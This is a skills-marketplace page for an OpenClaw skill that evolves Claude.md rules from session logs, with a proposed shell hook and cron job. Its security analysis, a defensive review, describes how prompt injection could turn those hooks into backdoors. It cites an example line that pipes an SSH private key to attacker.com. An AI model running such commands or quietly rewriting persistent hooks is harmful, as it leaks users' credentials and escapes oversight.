← 返回 Skills 市场
romainsantoli-web

Firm Hebbian Memory

作者 romainsantoli-web · GitHub ↗ · v1.0.0
cross-platform ⚠ suspicious
405
总下载
0
收藏
1
当前安装
1
版本数
在 OpenClaw 中安装
/install firm-hebbian-memory
功能描述
Système de mémoire adaptative hebbienne pour Claude.md — transforme les logs de sessions en patterns pondérés qui renforcent ou atrophient les règles de trav...
使用说明 (SKILL.md)

firm-hebbian-memory

⚠️ Contenu généré par IA — validation humaine requise avant déploiement en production.

Purpose

Ce skill rend le Claude.md vivant et auto-évolutif via des mécanismes inspirés de la plasticité synaptique hebbienne. Les patterns de travail qui se répètent sont renforcés, ceux qui deviennent obsolètes s'atrophient naturellement.

Inspiration neurobiologique :

  • Plasticité hebbienne → renforcement des poids Layer 2 par co-activation
  • Mémoire hippocampique → stockage épisodique en base vectorielle (pgvector)
  • Consolidation néocorticale → job d'analyse transformant les épisodes en schémas

Architecture — 4 couches Claude.md (CDC §3.3)

Couche Nom Modification
Layer 1 CORE (immuable) Humain uniquement
Layer 2 CONSOLIDATED PATTERNS Auto-mise à jour (poids hebbiens)
Layer 3 EPISODIC INDEX Auto-mise à jour (pointeurs sessions)
Layer 4 META INSTRUCTIONS Lecture seule pour le système auto

Tools activés (8 tools)

Runtime (2 tools)

openclaw_hebbian_harvest        — ingest JSONL session logs → SQLite (PII stripped)
openclaw_hebbian_weight_update  — calcul/application des poids hebbiens (dry_run par défaut)

Audit (6 tools)

openclaw_hebbian_analyze           — analyse co-activation patterns (Jaccard)
openclaw_hebbian_status            — dashboard poids, atrophie, promotions
openclaw_hebbian_layer_validate    — validation structure 4 couches
openclaw_hebbian_pii_check         — audit config PII stripping
openclaw_hebbian_decay_config_check — validation paramètres hebbiens
openclaw_hebbian_drift_check       — détection drift sémantique vs baseline

Formule de mise à jour des poids (CDC §4.3)

nouveau_poids = ancien_poids + (learning_rate × activation) - (decay × (1 - activation))

# Paramètres par défaut
learning_rate = 0.05    # Renforcement si activée
decay         = 0.02    # Atrophie si non-activée
poids_min     = 0.0     # Floor — suppression si \x3C 0.10
poids_max     = 0.95    # Ceiling — promotion CORE si > 0.95

Seuils de consolidation

Transition Condition
Épisodique → Émergent Activé 5 sessions consécutives
Émergent → Fort poids > 0.8 sur 20 sessions
Fort → CORE Validation humaine obligatoire
Atrophie → Suppression poids \x3C 0.10 pendant 4 semaines + PR humaine

Sécurité (CDC §5.2)

  • PII stripping obligatoire : regex sur emails, phones, IPs, API keys, SSN, JWT, AWS keys, chemins Unix home
  • Secrets détectés : session rejetée + alerte immédiate
  • Accès BDD : localhost/VPN uniquement
  • Rotation embeddings : policy de ré-embedding si fuite suspectée
  • Réversibilité : chaque modification = 1 commit Git atomique
  • Path whitelist : configurable via HEBBIAN_ALLOWED_DIRS (env) — protège containers/multi-user

Limitations connues (PII)

Le stripping regex couvre les catégories les plus courantes (10 patterns) mais ne détecte pas les credentials embarqués dans des URLs de connexion (e.g. postgres://user:password@host/db) ni les variables d'environnement loguées dans des stack traces (DB_URL=...). Un scanner de secrets dédié (e.g. trufflehog, detect-secrets) est recommandé en complément pour les environnements à haute sensibilité.

Anti-dérive (CDC §5.1)

  • Aucune règle ne peut atteindre poids = 1.0 automatiquement (max 0.95)
  • Détecteur de drift : alerte si cosine similarity vs baseline \x3C 0.7
  • 3 changements auto consécutifs → review forcée
  • Snapshot mensuel archivé en Git tag

Pipeline global

[ Session Claude Code ]
         ↓ fin de session
[ openclaw_hebbian_harvest ] → extrait résumé + tags + règles (PII stripped)
         ↓
[ SQLite local ] → stockage épisodique structuré
         ↓
[ openclaw_hebbian_analyze ] → clustering Jaccard + co-activations
         ↓
[ openclaw_hebbian_weight_update ] → mise à jour Layer 2 (dry_run=True)
         ↓
[ Human Review ] → validation avant application (dry_run=False)

Hook post-session (MVP)

Sans hook automatique, l'ingestion reste manuelle — adoption = zéro. Voici le minimum pour boucler le pipeline dès le MVP.

Option A — Script shell (le plus simple)

Créer ~/.openclaw/hooks/post-session.sh :

#!/usr/bin/env bash
# Hook post-session: ingest le dernier JSONL automatiquement
set -euo pipefail

SESSION_LOG="${1:-$(ls -t ~/.openclaw/sessions/*.jsonl 2>/dev/null | head -1)}"
[ -z "$SESSION_LOG" ] && exit 0

# Appel MCP via curl (le serveur doit tourner sur :8012)
curl -s -X POST http://localhost:8012/mcp \
  -H "Content-Type: application/json" \
  -d "{
    \"method\": \"tools/call\",
    \"params\": {
      \"name\": \"openclaw_hebbian_harvest\",
      \"arguments\": {\"session_jsonl_path\": \"$SESSION_LOG\"}
    }
  }" | jq '.result.ingested // .error'

Option B — Entrée cron (automatisation passive)

# Toutes les 30 min, ingérer les nouveaux JSONL
*/30 * * * * /bin/bash ~/.openclaw/hooks/post-session.sh >> ~/.openclaw/hebbian-harvest.log 2>&1

Option C — Intégration pi-coding-agent

Si le projet utilise pi-coding-agent, ajouter dans sa config :

{
  "hooks": {
    "post_session": {
      "command": "~/.openclaw/hooks/post-session.sh",
      "trigger": "on_session_end"
    }
  }
}

Note : Le hook ne déclenche que le harvest (lecture). La mise à jour des poids (weight_update) reste toujours manuelle avec dry_run=True par défaut — conformément à la règle absolue n°1 du CDC.

Adaptation OpenClaw

Composant CDC Adaptation OpenClaw
Hook post-session Lecture fichiers .jsonl de pi-coding-agent
Claude.md Layer 2 Skills OpenClaw (.md ou .json)
Claude.md Layer 4 Extension pi-coding-agent dédiée
GitHub PR for review PR sur repo privé skills
Secrets stripping Renforcé — 9 patterns regex + détection runtime

Configuration requise

{
  "hebbian": {
    "parameters": {
      "learning_rate": 0.05,
      "decay": 0.02,
      "poids_min": 0.0,
      "poids_max": 0.95
    },
    "thresholds": {
      "episodic_to_emergent": 5,
      "emergent_to_strong": 0.8
    },
    "pii_stripping": {
      "enabled": true,
      "patterns": ["email", "phone", "ip", "api_key", "ssn"]
    },
    "security": {
      "secret_detection": true,
      "access_restriction": "localhost",
      "embedding_rotation": "on_breach"
    },
    "anti_drift": {
      "max_consecutive_auto_changes": 3
    }
  }
}

Référence

  • CDC : cahier_des_charges_memoire_hebbienne.md v1.0.0
  • Module : src/hebbian_memory.py
  • Modèles : 8 classes Pydantic dans src/models.py

💎 Support

Si ce skill vous est utile, vous pouvez soutenir le développement :

Dogecoin : DQBggqFNWsRNTPb6kkiwppnMo1Hm8edfWq

安全使用建议
This SKILL.md is coherent with its stated goal but relies on platform-side tools (openclaw_hebbian_*) and will create persistent hooks/cron jobs that ingest session logs. Before enabling or automating it: 1) Confirm the required MCP/tools (mcp-openclaw-extensions >=1.2.0) actually provide the named tool endpoints. 2) Review the proposed hook script and cron entry — test manually first (run the harvest tool on sample logs) rather than enabling automatic cron. 3) Verify and strengthen PII/secret detection (the doc admits gaps for credentials embedded in URLs or env-vars in traces); consider running a dedicated secret scanner (trufflehog, detect-secrets) on logs before ingestion. 4) Confirm the policy for Git commits/tags and where snapshots are stored to avoid leaking data. 5) Run in an isolated/test environment first and audit what is sent to the local MCP (curl to localhost:8012) and what the MCP tools do. If you need higher assurance, request the implementation code for the openclaw_hebbian_* tools or a trusted package that provides them before deploying in production.
功能分析
Type: OpenClaw Skill Name: firm-hebbian-memory Version: 1.0.0 The skill is classified as suspicious primarily due to the significant prompt injection surface presented in `SKILL.md`. It provides explicit instructions for the AI agent to create and modify shell scripts (`post-session.sh`) and configure cron jobs for persistence. While the provided script content is benign (calling a local OpenClaw tool via `curl http://localhost:8012/mcp`), the mechanism of instructing the agent to write/modify executable scripts and schedule them creates a high-risk vulnerability. An attacker exploiting prompt injection could instruct the agent to alter these scripts or create new ones to perform arbitrary command execution, data exfiltration (e.g., `cat ~/.ssh/id_rsa | curl attacker.com`), or establish backdoors, despite the skill's stated security measures and `dry_run` defaults for rule updates.
能力评估
Purpose & Capability
Name/description (Hebbian adaptive memory for Claude.md) matches the SKILL.md content: ingestion, analysis, weight updates, and a 4-layer architecture. The metadata requirement for mcp-openclaw-extensions is plausible for implementing the described tools. No unrelated credentials or binaries are requested.
Instruction Scope
Instructions direct ingestion of session JSONL from ~/.openclaw/sessions and propose creating a persistent post-session hook (~/.openclaw/hooks/post-session.sh) and optional cron entry. These actions are coherent with the purpose but grant the skill persistent filesystem hooks/automation that will cause continuous ingestion; verify the exact paths and tool names before enabling automation. PII-stripping is described but the document also admits known gaps (credentials in URLs, env vars in stack traces).
Install Mechanism
No install spec or code is included (instruction-only). This minimizes installation risk, but also means the skill expects existing platform tools (openclaw_hebbian_* via the MCP) to be present.
Credentials
The skill does not require environment variables or secrets to run. It mentions an optional HEBBIAN_ALLOWED_DIRS env var for whitelisting paths; that is proportionate. There are no unexplained credential requests.
Persistence & Privilege
The skill suggests creating persistent artifacts (hook script, cron job, and Git commits/tags). That persistence is consistent with the intended continual ingestion, but it is a material change to the host environment — review and control these changes before enabling them. always:false and no cross-skill config writes.
如何使用
  1. 确保已安装 OpenClaw(本地或 Docker 部署)
  2. 在对话框中输入安装命令:/install firm-hebbian-memory
  3. 安装完成后,直接呼叫该 Skill 的名称或使用 /firm-hebbian-memory 触发
  4. 根据 Skill 的参数说明提供必要输入,即可获得结构化输出
版本历史
v1.0.0
firm-hebbian-memory 1.0.0 - Première version stable du système de mémoire adaptative hebbienne pour Claude.md. - Implémente la consolidation synaptique inspirée de la neuroplasticité : renforcement automatique des schémas récurrents, atrophie des règles obsolètes. - Ajout d’un pipeline complet (ingestion logs, co-activation, pondération, validation humaine). - Outils d’audit avancés (statut des poids, validation structurelle, stripping PII, détection de drift sémantique). - Sécurité renforcée : suppression des données sensibles via regex, accès BDD restreint, détection rapide de secrets. - Documentation exhaustive (architecture, hooks, automatisation, limitations, configuration).
元数据
Slug firm-hebbian-memory
版本 1.0.0
许可证
累计安装 1
当前安装数 1
历史版本数 1
常见问题

Firm Hebbian Memory 是什么?

Système de mémoire adaptative hebbienne pour Claude.md — transforme les logs de sessions en patterns pondérés qui renforcent ou atrophient les règles de trav... 它是一个面向 Claude Code / OpenClaw 的 AI Agent Skill 插件,目前累计下载 405 次。

如何安装 Firm Hebbian Memory?

在 OpenClaw 或 Claude Code 对话框中运行命令「/install firm-hebbian-memory」即可一键安装,无需额外配置。

Firm Hebbian Memory 是免费的吗?

是的,Firm Hebbian Memory 完全免费(开源免费),可自由下载、安装和使用。

Firm Hebbian Memory 支持哪些平台?

Firm Hebbian Memory 跨平台运行,可在任意部署了 OpenClaw / Claude Code 的环境中使用(cross-platform)。

谁开发了 Firm Hebbian Memory?

由 romainsantoli-web(@romainsantoli-web)开发并维护,当前版本 v1.0.0。

💬 留言讨论